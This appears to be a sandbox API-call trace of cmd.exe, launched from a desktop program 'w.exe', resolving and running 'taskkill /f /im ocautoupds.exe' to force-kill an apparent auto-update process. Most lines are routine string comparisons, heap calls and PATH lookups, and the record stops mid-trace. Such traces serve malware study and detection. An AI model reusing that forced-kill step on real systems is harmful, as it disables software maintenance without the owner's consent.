	[0039.183] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0039.183] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0039.183] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0039.183] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0039.183] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0039.183] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0039.183] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0039.183] GetProcessHeap () returned 0x640000
	[0039.183] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x54) returned 0x655678
	[0039.183] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x31f880 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0039.183] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x31f880, lpFilePart=0x31f87c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31f87c*="Desktop") returned 0x25
	[0039.183] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0039.183] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x31f5fc | out: lpFindFileData=0x31f5fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x651e90
	[0039.184] FindClose (in: hFindFile=0x651e90 | out: hFindFile=0x651e90) returned 1
	[0039.184] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x31f5fc | out: lpFindFileData=0x31f5fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x651e90
	[0039.184] FindClose (in: hFindFile=0x651e90 | out: hFindFile=0x651e90) returned 1
	[0039.184] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0039.184] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x31f5fc | out: lpFindFileData=0x31f5fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x651e90
	[0039.184] FindClose (in: hFindFile=0x651e90 | out: hFindFile=0x651e90) returned 1
	[0039.184] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0039.184] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0039.184] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0039.184] GetProcessHeap () returned 0x640000
	[0039.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x654b88 | out: hHeap=0x640000) returned 1
	[0039.184] GetEnvironmentStringsW () returned 0x654098*
	[0039.184] GetProcessHeap () returned 0x640000
	[0039.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xb36) returned 0x655ed8
	[0039.185] FreeEnvironmentStringsW (penv=0x654098) returned 1
	[0039.185] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a435260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0039.185] GetProcessHeap () returned 0x640000
	[0039.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x655678 | out: hHeap=0x640000) returned 1
	[0039.185] GetProcessHeap () returned 0x640000
	[0039.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x400e) returned 0x656a18
	[0039.185] GetProcessHeap () returned 0x640000
	[0039.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x50) returned 0x652d68
	[0039.185] GetProcessHeap () returned 0x640000
	[0039.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x4008) returned 0x65aa30
	[0039.185] GetProcessHeap () returned 0x640000
	[0039.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x4008) returned 0x65ea40
	[0039.187] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0039.187] GetProcessHeap () returned 0x640000
	[0039.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x418) returned 0x652dc0
	[0039.187] SetErrorMode (uMode=0x0) returned 0x8003
	[0039.187] SetErrorMode (uMode=0x1) returned 0x0
	[0039.187] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x652dc8, lpFilePart=0x31f7f8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x31f7f8*="f") returned 0x31
	[0039.187] SetErrorMode (uMode=0x8003) returned 0x1
	[0039.188] GetProcessHeap () returned 0x640000
	[0039.188] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x652dc0, Size=0x92) returned 0x652dc0
	[0039.188] GetProcessHeap () returned 0x640000
	[0039.188] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x652dc0) returned 0x92
	[0039.188] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0039.188] GetProcessHeap () returned 0x640000
	[0039.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x72) returned 0x662a68
	[0039.188] GetProcessHeap () returned 0x640000
	[0039.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xd8) returned 0x652e60
	[0039.188] GetProcessHeap () returned 0x640000
	[0039.188] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x652e60, Size=0x72) returned 0x652e60
	[0039.188] GetProcessHeap () returned 0x640000
	[0039.188] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x652e60) returned 0x72
	[0039.188] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.188] GetProcessHeap () returned 0x640000
	[0039.188] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xe0) returned 0x652ee0
	[0039.192] GetProcessHeap () returned 0x640000
	[0039.192] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x652ee0, Size=0x76) returned 0x652ee0
	[0039.192] GetProcessHeap () returned 0x640000
	[0039.192] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x652ee0) returned 0x76
	[0039.192] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0039.192] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im ocautoupds.exe ", fInfoLevelId=0x1, lpFindFileData=0x31f594, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f594) returned 0xffffffff
	[0039.192] GetLastError () returned 0x3
	[0039.192] GetProcessHeap () returned 0x640000
	[0039.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65aa30 | out: hHeap=0x640000) returned 1
	[0039.192] GetProcessHeap () returned 0x640000
	[0039.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65ea40 | out: hHeap=0x640000) returned 1
	[0039.192] GetProcessHeap () returned 0x640000
	[0039.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x656a18 | out: hHeap=0x640000) returned 1
	[0039.192] GetConsoleOutputCP () returned 0x1b5
	[0039.193] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a434260 | out: lpCPInfo=0x4a434260) returned 1
	[0039.193] GetUserDefaultLCID () returned 0x409
	[0039.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a434950, cchData=8 | out: lpLCData=":") returned 2
	[0039.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x31f9c0, cchData=128 | out: lpLCData="0") returned 2
	[0039.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x31f9c0, cchData=128 | out: lpLCData="0") returned 2
	[0039.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x31f9c0, cchData=128 | out: lpLCData="1") returned 2
	[0039.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a434940, cchData=8 | out: lpLCData="/") returned 2
	[0039.193] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a434d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0039.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a434d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0039.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a434d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0039.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a434cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0039.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a434c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0039.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a434c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0039.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a434c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0039.194] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a434930, cchData=8 | out: lpLCData=".") returned 2
	[0039.194] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a434920, cchData=8 | out: lpLCData=",") returned 2
	[0039.194] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0039.195] GetProcessHeap () returned 0x640000
	[0039.195] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20c) returned 0x652f60
	[0039.195] GetConsoleTitleW (in: lpConsoleTitle=0x652f60, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0039.195] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0039.195] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0039.195] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0039.196] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0039.196] GetProcessHeap () returned 0x640000
	[0039.196] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x400a) returned 0x656a18
	[0039.196] GetProcessHeap () returned 0x640000
	[0039.196] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x656a18 | out: hHeap=0x640000) returned 1
	[0039.196] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0039.197] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0039.197] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0039.197] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0039.197] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0039.197] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0039.197] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0039.197] GetProcessHeap () returned 0x640000
	[0039.197] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x58) returned 0x653178
	[0039.197] GetProcessHeap () returned 0x640000
	[0039.197] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x1a) returned 0x655718
	[0039.197] GetProcessHeap () returned 0x640000
	[0039.197] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x38) returned 0x6531d8
	[0039.198] GetConsoleTitleW (in: lpConsoleTitle=0x31f6b8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0039.198] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0039.198] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0039.198] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0039.198] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0039.198] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0039.199] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0039.199] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0039.199] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0039.199] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0039.199] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0039.199] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0039.199] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0039.199] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0039.199] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0039.199] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0039.199] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0039.199] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0039.199] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0039.199] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0039.199] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0039.199] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0039.199] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0039.199] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0039.199] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0039.199] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0039.199] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0039.199] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0039.199] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0039.199] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0039.199] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0039.199] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0039.199] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0039.199] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0039.199] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0039.199] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0039.199] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0039.199] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0039.199] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0039.199] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0039.199] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0039.199] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0039.199] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0039.200] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0039.200] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0039.200] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0039.200] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0039.200] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0039.200] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0039.200] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0039.200] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0039.200] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0039.200] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0039.200] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0039.200] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0039.200] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0039.200] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0039.200] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0039.200] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0039.200] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0039.200] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0039.200] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0039.200] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0039.200] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0039.200] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0039.200] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0039.200] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0039.200] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0039.200] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0039.200] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0039.200] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0039.200] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0039.200] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0039.200] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0039.200] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0039.200] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0039.200] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0039.200] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0039.201] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0039.201] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0039.201] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0039.201] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0039.201] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0039.201] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0039.201] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0039.201] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0039.201] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0039.201] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0039.201] GetProcessHeap () returned 0x640000
	[0039.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x210) returned 0x653218
	[0039.201] GetProcessHeap () returned 0x640000
	[0039.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x4a) returned 0x653430
	[0039.201] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0039.201] GetProcessHeap () returned 0x640000
	[0039.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x418) returned 0x6407f0
	[0039.202] SetErrorMode (uMode=0x0) returned 0x8003
	[0039.202] SetErrorMode (uMode=0x1) returned 0x0
	[0039.202] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6407f8, lpFilePart=0x31f1d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31f1d8*="Desktop") returned 0x25
	[0039.202] SetErrorMode (uMode=0x8003) returned 0x1
	[0039.202] GetProcessHeap () returned 0x640000
	[0039.202] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6407f0, Size=0x66) returned 0x6407f0
	[0039.202] GetProcessHeap () returned 0x640000
	[0039.202] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6407f0) returned 0x66
	[0039.202] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0039.202] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0039.202] GetProcessHeap () returned 0x640000
	[0039.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x120) returned 0x653488
	[0039.202] GetProcessHeap () returned 0x640000
	[0039.202] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x238) returned 0x640860
	[0039.204] GetProcessHeap () returned 0x640000
	[0039.204] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x640860, Size=0x122) returned 0x640860
	[0039.204] GetProcessHeap () returned 0x640000
	[0039.204] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x640860) returned 0x122
	[0039.204] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a440640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.204] GetProcessHeap () returned 0x640000
	[0039.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xe0) returned 0x640990
	[0039.204] GetProcessHeap () returned 0x640000
	[0039.204] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x640990, Size=0x76) returned 0x640990
	[0039.204] GetProcessHeap () returned 0x640000
	[0039.204] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x640990) returned 0x76
	[0039.204] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0039.204] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x31ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ef54) returned 0xffffffff
	[0039.204] GetLastError () returned 0x2
	[0039.204] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x31ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ef54) returned 0xffffffff
	[0039.205] GetLastError () returned 0x2
	[0039.205] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0039.205] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x31ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ef54) returned 0x640a10
	[0039.205] GetProcessHeap () returned 0x640000
	[0039.205] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14) returned 0x640a50
	[0039.205] FindClose (in: hFindFile=0x640a10 | out: hFindFile=0x640a10) returned 1
	[0039.205] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x31ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ef54) returned 0xffffffff
	[0039.205] GetLastError () returned 0x2
	[0039.205] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x31ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ef54) returned 0x640a10
	[0039.205] GetProcessHeap () returned 0x640000
	[0039.205] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x640a50, Size=0x4) returned 0x640a50
	[0039.205] FindClose (in: hFindFile=0x640a10 | out: hFindFile=0x640a10) returned 1
	[0039.205] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0039.205] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0039.205] GetConsoleTitleW (in: lpConsoleTitle=0x31f44c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0039.205] InitializeProcThreadAttributeList (in: lpAttributeList=0x31f2d4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x31f39c | out: lpAttributeList=0x31f2d4, lpSize=0x31f39c) returned 1
	[0039.205] UpdateProcThreadAttribute (in: lpAttributeList=0x31f2d4, dwFlags=0x0, Attribute=0x60001, lpValue=0x31f394, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x31f2d4, lpPreviousValue=0x0) returned 1
	[0039.206] GetStartupInfoW (in: lpStartupInfo=0x31f290 | out: lpStartupInfo=0x31f290*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc)) 
	[0039.206] GetProcessHeap () returned 0x640000
	[0039.206] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x18) returned 0x640a10
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
